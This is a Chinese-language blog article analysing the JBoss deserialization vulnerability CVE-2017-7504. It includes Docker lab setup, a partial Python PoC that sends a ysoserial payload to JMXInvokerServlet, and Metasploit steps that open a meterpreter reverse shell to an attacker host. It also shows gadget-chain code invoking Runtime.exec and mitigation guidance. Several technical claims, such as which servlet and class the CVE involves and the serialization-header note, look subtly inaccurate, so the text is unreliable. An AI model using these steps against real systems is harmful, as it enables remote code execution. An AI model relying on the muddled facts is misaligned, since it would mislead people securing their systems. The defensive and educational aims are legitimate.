Java反序列化漏洞深度剖析:从CVE-2017-7504看安全攻防实践
1. 项目概述:从一次内部安全审计说起
去年年底,我们团队在对一个遗留的老旧业务系统进行例行安全审计时,扫描器突然弹出了一个高危告警:CVE-2017-7504。这个漏洞的名字,对于很多搞Java应用安全的朋友来说,应该不陌生。它涉及的是老牌Java EE应用服务器——JBoss(现在叫WildFly)的一个反序列化漏洞。当时,这个系统还在使用一个比较老的JBoss AS 5.x版本,而CVE-2017-7504影响的正是JBoss AS 4.x和5.x系列。我决定不满足于扫描器给出的“存在漏洞”结论,而是深入进去,把它的原理、利用链以及修复方案彻底搞清楚。这个过程,实际上就是一次对“反序列化漏洞”这个经典议题的深度复盘。
简单来说,CVE-2017-7504漏洞允许攻击者通过向JBoss的HttpInvoker服务发送一个精心构造的、包含恶意序列化对象的HTTP请求,从而在服务器上执行任意代码。这听起来很可怕,但更可怕的是,很多运维和开发人员对这个漏洞的理解可能还停留在“升级JBoss版本”的层面,对其背后的Java反序列化机制和具体的利用链构造一知半解。今天,我就结合当时审计和复现的过程,把这个漏洞掰开揉碎了讲清楚。无论你是安全研究员想理解漏洞细节,还是开发/运维同学想彻底排查自家系统风险,这篇文章都会提供一条清晰的路径。
2. 漏洞背景与核心原理拆解
2.1 JBoss HttpInvoker服务:被遗忘的“后门”
要理解这个漏洞,首先得知道攻击的入口点:HttpInvoker。在早期的JBoss版本中,它提供了一种基于HTTP协议的远程方法调用(RMI)机制,允许客户端像调用本地对象一样调用服务器上的EJB(Enterprise JavaBean)。为了实现这个功能,JBoss暴露了一个Servlet,路径通常是/invoker/readonly或/invoker/JMXInvokerServlet。这个Servlet会接收客户端发送的HTTP POST请求,请求体里是一个序列化后的Java对象(包含了要调用的方法名、参数等信息),服务器端接收到之后,会对其进行反序列化,还原成Java对象,然后执行相应的方法调用。
问题就出在这个“反序列化”的环节。Java的反序列化过程,简单说就是把一串字节流(byte stream)重新恢复成一个内存中的对象。在这个过程中,Java虚拟机会自动调用被反序列化对象的readObject()方法(如果该对象实现了Serializable接口并自定义了此方法)。设计readObject()的初衷是为了让开发者能自定义反序列化时的逻辑,比如恢复一些瞬态(transient)字段。但在安全上,这却成了一个巨大的“钩子”(hook)。攻击者可以精心构造一个对象,在其readObject()方法中写入恶意代码,当服务器反序列化这个对象时,恶意代码就会被执行。
注意:很多同学会把反序列化和“执行命令”直接划等号,其实中间还差着一个关键的“跳板”。
readObject()本身只是一段Java代码,它需要借助一些特殊的“工具类”(通常被称为Gadget Chain,利用链),才能把代码执行的能力转化为真正的系统命令执行,比如调用Runtime.exec()。
2.2 CVE-2017-7504与CVE-2015-7501的“孪生”关系
在深入CVE-2017-7504之前,必须提一下它的“前辈”:CVE-2015-7501(也称为JBoss反序列化漏洞,影响JBoss AS 4.x/5.x/6.x)。这两个漏洞本质上利用了同一个入口点(/invoker/JMXInvokerServlet)和同一条核心利用链,但有一个关键区别:
- CVE-2015-7501:利用的是
org.jboss.invocation.MarshalledValue类。这个类是JBoss内部用于封装序列化数据的。漏洞利用时,攻击者发送的序列化数据最外层就是这个MarshalledValue对象。 - CVE-2017-7504:在CVE-2015-7501被修复后,安全研究人员发现修复并不彻底。攻击者可以转而使用另一个类似的类:
org.jboss.invocation.MarshalledInvocation。这个类同样存在于JBoss的类路径中,并且也实现了Serializable接口,其readObject()方法同样会触发对内部封装对象的反序列化。简单理解,就是堵上了一扇门(MarshalledValue),但旁边还有一扇窗(MarshalledInvocation)没关严。
所以,CVE-2017-7504可以看作是CVE-2015-7501的一个“补丁绕过”。在分析源码和构造利用载荷时,我们只需要把焦点从MarshalledValue切换到MarshalledInvocation即可,后续的利用链(即如何从readObject()走到命令执行)是完全一样的。
2.3 漏洞利用链的核心:从readObject到Runtime.exec
光有入口点(HttpInvoker)和触发点(MarshalledInvocation.readObject())还不够,我们需要一条“路”通向命令执行。这条路由一系列特殊的Java类首尾相接而成,这就是“利用链”(Gadget Chain)。对于JBoss的这两个漏洞,最经典、最常用的链是InvokerTransformer链,它依赖于Apache Commons Collections(ACC)库的一个危险特性。
这里我画一个简化的思维流程来帮助理解:
- 起点:服务器反序列化我们发送的
MarshalledInvocation对象。 - 跳板1:
MarshalledInvocation.readObject()内部会反序列化其包含的另一个对象,比如一个AnnotationInvocationHandler(这是Java动态代理的一部分,也是很多反序列化漏洞的常客)。 - 跳板2:
AnnotationInvocationHandler的readObject()或invoke()方法(在反序列化后的某些操作中被触发)会去调用一个TransformedMap或LazyMap的get()方法。这两个类来自Apache Commons Collections。 - 危险操作:
TransformedMap或LazyMap在get()时,会调用一个预置的Transformer(转换器)来处理key或value。攻击者可以预先设置一个ChainedTransformer,它由多个Transformer组成。 - 最终执行:在这个
ChainedTransformer链中,最关键的一环是InvokerTransformer。这个类的可怕之处在于,它可以通过反射(Reflection)调用任意Java对象的任意方法。攻击者将其配置为调用Runtime.getRuntime().exec(“恶意命令”)。
这样,当利用链被触发,就像推倒了多米诺骨牌,最终导致系统命令在服务器上被执行。这条链的威力,很大程度上源于Apache Commons Collections库中这些设计上过于灵活、缺乏安全考虑的类。它们本意是提供强大的对象转换功能,却在反序列化场景下成了攻击者的利器。
3. 环境搭建与漏洞复现实操
纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,亲手复现一遍是最好的方式。下面我详细记录一下在安全测试环境中复现CVE-2017-7504的完整过程。
3.1 靶机环境准备
首先,我们需要一个存在漏洞的JBoss环境。最方便的方法是使用Docker。
# 搜索并拉取一个集成了漏洞环境的Docker镜像,例如vulhub中的镜像 docker search jboss CVE-2017-7504 # 假设我们使用一个常见的靶场镜像 docker pull vulhub/jboss:as-5.2.0 # 运行容器,将JBoss的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name jboss-cve-2017-7504 vulhub/jboss:as-5.2.0启动后,访问http://your-host-ip:8080/,应该能看到JBoss的默认欢迎页面。更关键的是,漏洞入口http://your-host-ip:8080/invoker/JMXInvokerServlet是存在的(虽然页面可能显示404或500,但这正是服务存在的迹象,如果完全不存在该路径,会返回404 Not Found,这里需要区分应用级404和路径级404)。
3.2 利用工具选择与配置
手动构造序列化利用链非常复杂,我们通常使用现成的工具。ysoserial是业界最著名的Java反序列化利用框架,它集成了多条针对不同库(如Commons Collections, Groovy, Jdk7u21等)的利用链。
- 下载ysoserial:可以从GitHub release页面下载最新的jar包。
- 生成攻击载荷:我们需要生成一个利用CommonsCollections链(针对Commons Collections 3.2.1及以下版本)的序列化数据,并将其封装成针对JBoss的格式。虽然ysoserial直接支持生成
MarshalledValue的载荷,但对于CVE-2017-7504需要的MarshalledInvocation,可能需要稍作调整。不过,很多公开的PoC脚本已经做好了这一步。
这里我分享一个经过验证的、可以直接使用的Python PoC脚本核心思路。这个脚本的作用是:用ysoserial生成CommonsCollections链的载荷,然后将其包装成MarshalledInvocation对象,最后通过HTTP POST发送给目标。
#!/usr/bin/env python3 # 示例PoC核心逻辑,需要配合ysoserial.jar使用 import subprocess import requests import sys def generate_payload(cmd): # 调用ysoserial生成CommonsCollections1链的原始序列化数据 popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections1', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE) payload, err = popen.communicate() return payload def wrap_for_jboss(payload): # 这里是一个简化的包装逻辑示意。 # 实际构造MarshalledInvocation对象需要更复杂的Java代码。 # 通常的做法是:写一个简单的Java程序,创建一个MarshalledInvocation对象, # 其hashMap成员变量里包含一个AnnotationInvocationHandler代理对象, # 而这个代理的memberValues是一个精心构造的LazyMap/TransformedMap。 # 最后将这个MarshalledInvocation对象序列化输出。 # 网上有开源的、已编译好的Java类可以直接用于生成最终载荷。 pass target = sys.argv[1] command = sys.argv[2] # 1. 生成命令执行载荷 raw_payload = generate_payload(command) # 2. 包装成JBoss MarshalledInvocation格式 (此处需使用已实现的包装器) final_payload = wrap_for_jboss(raw_payload) # 假设wrap_for_jboss函数已实现 # 3. 发送HTTP请求 url = f"http://{target}/invoker/JMXInvokerServlet" headers = {'Content-Type': 'application/octet-stream'} resp = requests.post(url, data=final_payload, headers=headers, timeout=10) print(f"Sent payload to {url}, status code: {resp.status_code}")实操心得:在实际测试中,我强烈建议直接使用Metasploit框架中的
exploit/multi/http/jboss_invoke_deploy模块。它已经高度集成化,自动处理了所有复杂的序列化对象构造和包装过程,只需要设置目标RHOSTS、RPORT和Payload(如java/meterpreter/reverse_tcp)即可,成功率非常高,是渗透测试中的首选。
3.3 复现过程与结果验证
假设我们使用Metasploit进行复现:
- 启动
msfconsole。 use exploit/multi/http/jboss_invoke_deployset RHOSTS <靶机IP>set RPORT 8080set PAYLOAD java/meterpreter/reverse_tcpset LHOST <你的攻击机IP>set LPORT 4444exploit
如果漏洞存在且利用成功,你会获得一个Meterpreter会话。此时,可以执行shell命令进入目标服务器的命令行,执行whoami、ipconfig或ls等命令来验证漏洞利用成功,确认攻击者已获取了运行JBoss服务的系统用户权限(通常是权限较高的用户)。
关键验证点:
- HTTP响应:即使漏洞利用成功,
/invoker/JMXInvokerServlet这个Servlet的HTTP响应码可能依然是500(内部服务器错误),因为反序列化过程抛出了异常。但这并不妨碍恶意代码在此之前已经执行。所以,不能单纯以HTTP响应是否成功来判断漏洞是否存在或利用是否成功。 - 网络监听:最可靠的验证方式是在攻击机设置好监听(如Metasploit的handler),查看是否有反向连接建立。
- 无回显利用:在某些严格的内网环境,可能无法直接反弹Shell。此时可以采用“无回显”的利用方式,例如执行一个触发DNS查询或HTTP请求的命令,通过监控DNS日志或Web访问日志来间接验证命令执行。
4. 漏洞深度源码分析
理解了利用过程,我们再来深入看看源码,弄清楚“为什么”会这样。这里我们聚焦两个核心类:MarshalledInvocation和 Apache Commons Collections 的InvokerTransformer。
4.1 org.jboss.invocation.MarshalledInvocation
我们查看JBoss AS 5.x版本的源码(可从旧版本官网或Maven仓库下载)。MarshalledInvocation实现了Serializable和Invocation接口。它的readObject方法是关键:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // ... 其他初始化代码 ... // 关键点:如果 marshalledObject 不为空,则会对其进行反序列化 if (marshalledObject != null) { try { Object obj = marshalledObject.getObject(); // 这里触发反序列化! // ... 后续将 obj 赋值给其他成员变量,如 this.method, this.arguments 等 } catch (Exception e) { throw new IOException("Failed to unmarshal object: " + e.toString()); } } }marshalledObject是org.jboss.marshalling.MarshalledObject类型,它的getObject()方法会执行反序列化操作。攻击者发送的序列化数据中,marshalledObject字段里就封装了那条恶意的利用链(从AnnotationInvocationHandler到TransformedMap...)。所以,当服务器收到数据,调用readObject时,就会自动触发内部封装对象的反序列化,从而启动整个攻击链。
4.2 org.apache.commons.collections.functors.InvokerTransformer
这是Apache Commons Collections库中真正的“罪魁祸首”之一。我们看看它的transform方法:
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); // 通过反射获取方法 return method.invoke(input, iArgs); // 通过反射调用方法 } catch (NoSuchMethodException nsme) { // ... 异常处理 } }这个类的构造函数接收三个参数:方法名(iMethodName)、参数类型数组(iParamTypes)和参数值数组(iArgs)。在利用链中,攻击者会这样构造它:
new InvokerTransformer( "exec", // 方法名 new Class[]{String.class}, // 参数类型 new Object[]{"calc.exe"} // 参数值 )当这个InvokerTransformer的transform方法被调用,且传入的input对象是Runtime.getRuntime()返回的Runtime对象时,它就会通过反射调用exec(“calc.exe”)方法,弹出计算器(或在服务器上执行任意命令)。
4.3 利用链的组装逻辑
整个利用链的组装,可以理解为一场精密的“编程魔术”。它利用了Java反序列化时对象图恢复的特性,以及多个类之间通过接口回调形成的连锁反应。核心步骤在内存中构建如下对象关系:
- 创建一个
ChainedTransformer,它包含一个Transformer数组。这个数组的最后一个元素是上面构造的InvokerTransformer(用于执行命令),前面的元素则负责“传递”对象,最终将Runtime对象传递给它。 - 创建一个
LazyMap或TransformedMap,并将上一步的ChainedTransformer设置为其回调转换器。 - 创建一个
AnnotationInvocationHandler动态代理对象(或利用其readObject逻辑),并将其memberValues属性设置为上一步的Map。 - 将这个
AnnotationInvocationHandler对象封装进MarshalledInvocation的marshalledObject字段。
当MarshalledInvocation被反序列化时,AnnotationInvocationHandler的readObject或后续的equals/hashCode方法会被触发,进而去读取memberValues这个Map。为了读取值,Map的get()方法被调用,这就触发了LazyMap/TransformedMap中预设的Transformer回调,最终引爆整条链。
踩坑记录:在早期自己尝试构造利用链时,最容易出错的地方就是
AnnotationInvocationHandler的构造。这个类是Sun内部的(sun.reflect.annotation.AnnotationInvocationHandler),不能直接new。必须通过Java的反射API来创建它的实例。此外,不同版本的JDK(如7u80和8u20之后)对这个类的内部实现有修改,可能导致利用链失效,这就是为什么有些漏洞对JDK版本有要求。
5. 修复方案与安全加固建议
分析漏洞是为了更好地防御。针对CVE-2017-7504,修复必须从多个层面进行。
5.1 官方修复与版本升级
最根本、最推荐的解决方案是升级JBoss/WildFly到不受影响的版本。对于JBoss AS系列,应升级到已修复该漏洞的版本,或者直接迁移到WildFly(JBoss AS的后继项目)。Red Hat官方早已为受影响的JBoss EAP(企业版)发布了安全补丁。
修复的本质:官方的修复补丁通常不是修改MarshalledInvocation的readObject方法(因为那会破坏功能),而是直接删除或禁用有问题的Servlet。例如,在deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml中,将JMXInvokerServlet的映射注释掉或删除,或者将整个invoker.war应用移除。
5.2 临时缓解措施
如果因为兼容性等原因无法立即升级,可以采取以下临时加固措施:
- 删除或重命名Invoker WAR包:在JBoss的部署目录(如
JBOSS_HOME/server/default/deploy/)下,找到httpha-invoker.sar或直接包含invoker.war的文件,将其移除或重命名(如改为invoker.war.bak),然后重启JBoss服务。这是最直接有效的方法。 - 配置防火墙/安全组策略:严格限制访问JBoss管理端口(默认为8080, 9990等)的源IP地址,只允许运维管理机和必要的内部系统访问,禁止暴露在公网。
- 使用Web应用防火墙(WAF):配置WAF规则,拦截对
/invoker/JMXInvokerServlet和/invoker/readonly等路径的POST请求,特别是请求体内容为Java序列化魔术头(AC ED 00 05,即十六进制的rO0开头)的请求。
5.3 开发层面的长期防御
这个漏洞也给所有Java开发者敲响了警钟:不要反序列化不可信的数据。这是黄金法则。
- 使用安全的替代方案:对于需要跨网络传输对象的场景,考虑使用JSON、XML、Protocol Buffers等安全的序列化格式,而不是Java原生序列化。
- 升级基础库:确保项目中使用的Apache Commons Collections库升级到安全版本(如4.0及以上),这些版本重写了危险的
Transformer实现,或者移除了相关功能。可以使用Maven依赖检查工具(如OWASP Dependency-Check)定期扫描。 - 实施反序列化过滤器:在Java 9及以上版本,可以使用
ObjectInputFilter(JEP 290)来为反序列化过程设置白名单或黑名单,限制可以反序列化的类。这是从JVM层面提供的防护机制,即使应用代码存在反序列化点,也能有效拦截恶意利用链。 - 代码审计:在代码审查中,重点关注
ObjectInputStream.readObject(),XMLDecoder.parse(),Yaml.load(),XStream.fromXML()等危险方法的调用,确保其输入源是可信的。
6. 衍生思考与同类漏洞排查
CVE-2017-7504不是一个孤立的案例,它是Java反序列化漏洞“家族”中的一个典型代表。理解它,就掌握了一把钥匙,可以用于排查和理解许多同类问题。
6.1 反序列化漏洞的通用模式
这类漏洞通常遵循一个模式:“一个可控的反序列化入口点” + “一条存在于Classpath中的危险利用链”。
- 入口点:除了JBoss的HttpInvoker,常见的还有:
- Apache Shiro的RememberMe Cookie解密后反序列化。
- Spring框架的序列化数据绑定(在某些旧版本或特定配置下)。
- JMX端口(RMI over JRMP)的反序列化。
- 任何自定义的、接收序列化对象进行网络通信或文件存储的接口。
- 利用链:除了Commons Collections,还有:
- Commons BeanUtils
- Groovy
- Spring AOP
- Jdk7u21 (利用JDK内部类)
- Fastjson (通过特定autotype特性)
- Jackson (通过polymorphic deserialization)
6.2 企业内部的漏洞排查清单
基于这个模式,我们可以制定一个简单的内部排查清单:
- 资产梳理:列出所有对外服务的Java应用,特别是那些使用老旧框架(Struts2, Spring 3.x, 旧版JBoss/WebLogic/WebSphere)的应用。
- 端口扫描与服务探测:使用Nmap等工具扫描服务器,识别开放的Java RMI(1099端口)、JMX(如9999端口)等服务。使用浏览器或curl访问常见漏洞路径,如
/invoker/JMXInvokerServlet,/wls-wsat/CoordinatorPortType(WebLogic)。 - 依赖库检查:检查应用依赖的JAR包,重点关注
commons-collections-3.x.jar,commons-beanutils-1.8.x.jar,groovy-all-*.jar等存在已知利用链的库版本。 - 代码审计:全局搜索
readObject,readResolve,readExternal,XMLDecoder,ObjectInputStream,Yaml.load,XStream.fromXML等关键词。 - 流量监控与WAF:在生产环境网络边界部署流量监控或WAF,尝试识别和拦截含有Java序列化魔术头(
AC ED 00 05)的HTTP请求体。
6.3 从防御者到攻击者的视角转换
作为一名安全工程师或关注安全的开发者,我强烈建议在可控的环境下(如自己的虚拟机、Docker容器)亲手复现几次这类漏洞。这个过程的价值不在于“学会攻击”,而在于:
- 深刻理解漏洞原理:看十遍分析文章,不如自己让计算器弹出来一次。
- 提升排查效率:知道了攻击是如何发生的,你就能更准确地知道防御的重点在哪里,排查时也更有方向感。
- 建立安全直觉:以后再看到类似“Java反序列化”、“RMI”、“JMX”这些关键词时,大脑里的警报会立刻响起来。
那次对老旧JBoss系统的审计,最终以我们向运维团队提供了详细的漏洞报告、修复方案和临时加固脚本告终。系统最终得到了升级。整个过程让我再次体会到,面对安全漏洞,尤其是这种原理深刻、影响广泛的漏洞,浮于表面的“知道了”是远远不够的。只有沉下去,把它的来龙去脉、每一环的代码都搞清楚,才能真正地“解决”它,并在未来举一反三。安全之路,就是这样一个不断深入细节、拆解黑盒的过程。希望这篇超详细的“浅析”能帮你打开这扇门。
